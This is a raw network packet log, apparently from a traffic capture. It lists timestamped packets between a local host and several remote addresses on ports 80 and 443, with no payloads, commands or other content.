Dec 20, 2024 02:11:33.569113970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.569137096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.569727898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.570043087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.570096970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.570437908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.570453882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.570487022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.570523977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.571118116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.571177959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.571228027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.571285963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.571822882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.571839094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.571892977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.572490931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.572554111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.573201895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.573270082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.573273897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.573287964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.573332071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.573343992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.573946953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.574068069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.574137926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.574577093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.574650049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.574681997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.574726105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.575278997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.575336933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.576026917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.576044083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.576081991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.576093912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.576123953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.576688051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.576745987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.577151060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.577424049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.577441931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.577476978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.577487946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.578072071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.578213930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.578454018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.578516006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.579226971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.579277039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.734318018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.734363079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.734466076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.734467983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.734515905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.734586000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.734641075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.735172987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.735239029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.735364914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.735419035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.735877037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.736016035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.736078024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.736563921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.736628056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.737030029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.737092018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.737243891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.737289906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.737775087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.737829924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.737965107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.738019943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.738099098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.738149881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.738667011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.738723993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.738724947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.738770962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.739434004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.739449978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.739495039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.739523888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.739543915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.740062952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.740204096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.740329027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.740380049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.740748882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.740801096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.741106987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.741161108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.741453886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.741503954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.741982937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.742033958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.742207050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.742221117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.742266893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.742898941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.742913961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.742966890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.743547916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.743598938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.743716002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.743761063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.744278908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.744326115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.744389057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.744438887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.744972944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.745019913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.745274067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.745640993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.745693922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.745819092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.745866060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.746336937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.746387005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.747056961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.747073889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.747107983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.747122049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.747176886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.747220993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.747776985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.747792006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.747826099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.747838974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.748416901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.748672962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.748730898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.748730898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.749135017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.749687910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.749743938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.749802113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.749857903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.749974966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.750029087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.750550985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.750566006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.750720978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.751264095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.751358032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.751420975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.751919031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.752295971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.752355099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.752635002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.752688885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.752733946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.752788067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.753305912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.753470898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.753485918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.753535032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.754020929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.754089117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.754221916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.754308939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.754708052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.754770041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.755178928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.755234003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.755383968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.755431890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.756038904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.756097078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.756140947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.756156921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.756191969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.756203890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.756789923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.756846905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.756973982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.757025003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.757545948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.757560968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.757884979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.758186102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.758301020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.758352041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.758886099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.758938074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.759011030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.759063959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.759582996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.759645939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.760231018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.760282040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.760327101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.760340929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.760375977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.760395050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.760984898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.761131048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.761185884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.761713982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.761768103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.761970997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.762022972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.762407064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.762459040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.762562037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.762614965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.763087034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.763142109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.763277054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.763328075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.763787985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.763844013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.764514923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.764529943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.764569044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.764580965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.764614105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.765166998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.765223026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.765290976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.765445948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.765861988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.765917063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.766228914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.766285896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.766562939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.766611099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.766910076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.767270088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.767328978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.767909050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.767987967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.768024921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.768093109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.833875895 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.834111929 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.878918886 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.878953934 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.879331112 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.880511045 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.881288052 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.881319046 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.881901026 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.881934881 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.882174969 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.882205963 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.882335901 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.882371902 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.884089947 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.884129047 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.886677027 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.886719942 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.886734009 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.886742115 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.886917114 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.886946917 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.886975050 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.889847994 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.889882088 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.927323103 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.927522898 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.927563906 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.927589893 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.927608967 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.927630901 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.927644968 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:33.927695036 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:33.927715063 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:34.034439087 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:34.034619093 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:34.078418970 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:34.078460932 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:34.078645945 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:34.080231905 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:34.080349922 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:34.080374956 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:34.081578016 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:34.123383045 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:35.356271029 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:35.356403112 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:35.356479883 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:35.356621027 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:35.356642962 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:35.707437038 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:35.707484961 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:35.707571983 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:35.708025932 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:35.708040953 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:36.541495085 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:36.541888952 CET	49909	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:36.661497116 CET	80	49909	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:36.661525011 CET	80	49871	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:36.661597013 CET	49909	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:36.661647081 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:36.661860943 CET	49909	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:36.781339884 CET	80	49909	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:36.930305004 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:36.930416107 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:36.956507921 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:36.956542969 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:36.957115889 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:36.977355003 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:36.982283115 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:36.982342958 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:36.982548952 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:36.982563972 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:37.716275930 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:37.716367960 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:37.716463089 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:37.734989882 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:37.735017061 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:37.880388975 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:37.880635977 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:37.881900072 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:37.881992102 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:37.882018089 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:37.946187973 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:37.946273088 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:37.946377993 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:37.946758032 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:37.946794033 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:37.997236967 CET	80	49909	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:37.997334957 CET	49909	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:37.999646902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:37.999982119 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:38.119493961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:38.119507074 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:38.119589090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:38.119640112 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:38.119863987 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:38.235898972 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:38.236166954 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:38.236291885 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:38.238092899 CET	49907	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:38.238112926 CET	443	49907	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:38.239383936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:38.979696989 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:38.979789019 CET	443	49919	172.67.209.202	192.168.2.5
